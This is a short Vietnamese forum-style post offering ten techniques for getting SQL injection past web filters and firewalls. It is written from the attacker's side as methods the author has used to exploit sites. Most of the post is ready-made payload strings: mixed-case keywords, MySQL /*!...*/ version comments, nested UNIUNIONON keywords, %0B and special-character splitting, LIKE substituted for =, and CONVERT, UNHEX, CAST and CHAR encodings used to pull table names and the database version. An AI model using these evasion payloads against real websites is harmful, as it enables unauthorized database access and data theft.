Những cách Bypass SQL Injection


Bypass SQLi là gì?
Khi các bạn dùng lệnh khai thác 1 site nào đó mà site đó vẫn ko thấy hiện tượng gì xảy ra thì những câu lệnh đó đã được webmaster chặn bằng bộ lọc hoặc Firewall. Vì thế chúng ta phải tìm cách Bypass để vượt qua, chúng ta chỉ thay đổi 1 vài ký tự nhưng những ký tự đó không làm thay đổi bản chất của câu lệnh thì đó được gọi là Bypass.
Sau đây là một số cách tôi đã dùng:
CÁCH 1: THAY KÝ TỰ THƯỜNG BẰNG KÝ TỰ HOA
ID=1+UNION SELECT 1,2,3,4-- -
CÁCH 2: DÙNG CẶP THẺ /*!CODE*/
ID=1+/*!UNION*/ /*!SELECT*/ 1,2,3,4-- -
CÁCH 3: DÙNG LIKE THAY CHO = (KHI DẤU = BỊ CHẶN)
/*!TABLE_SCHEMA*/+LIKE+DATABASE()– -
CÁCH 4: LỒNG UNION VÀ SELECT
ID=1+UNIUNIONON+SELSELECTECT+1,2,3–
CÁCH 5 THÊM KÝ TỰ NULL HOẶC CÁC KÝ TỰ ĐẶC BIỆT VÀO GIỮA:
SEL%0BECT+1,2,3
ID=1+UNI*ON+SEL*ECT+1,2,3–+
ID=1+(UNION)+(SELECT)+
ID=1+(UNION+SELECT)+
ID=1+(UNI)(ON)+(SEL)(ECT)
ID=1+’UNI”ON’+'SEL”ECT’
CÁCH 6: DÙNG HÀM CONVERT():
CONVERT(GROUP_CONCAT(TABLE_NAME)+USING+ASCII)
CONVERT(VERSION() USING LATIN1)
AES_DECRYPT(AES_ENCRYPT(VERSION(),1),1)
UNHEX(HEX(@@VERSION))
CAST(VERSION()+AS+BINARY)
CONVERT(VERSION(),BINARY)
CONVERT(VERSION()+USING+BINARY)
CÁCH 7: DÙNG CHAR() ĐỂ HIỆN THỊ USERS BỊ ẨN
CHAR(117, 115, 101, 114, 115)
CÁCH 8: SHOW TABLE ẨN:
GROUP_CONCAT(UNHEX(HEX(TABLE_NAME)))
CÁCH 9: SELECT
UNION ALL /*!50000SELECT*/
CÁCH 10 (ÍT DÙNG)THÊM KHOẢNG TRẮNG TÁCH TỪ
INFORMATION_SCHEMA. TABLES THAY CHO INFORMATION_SCHEMA.TABLES

 
biz.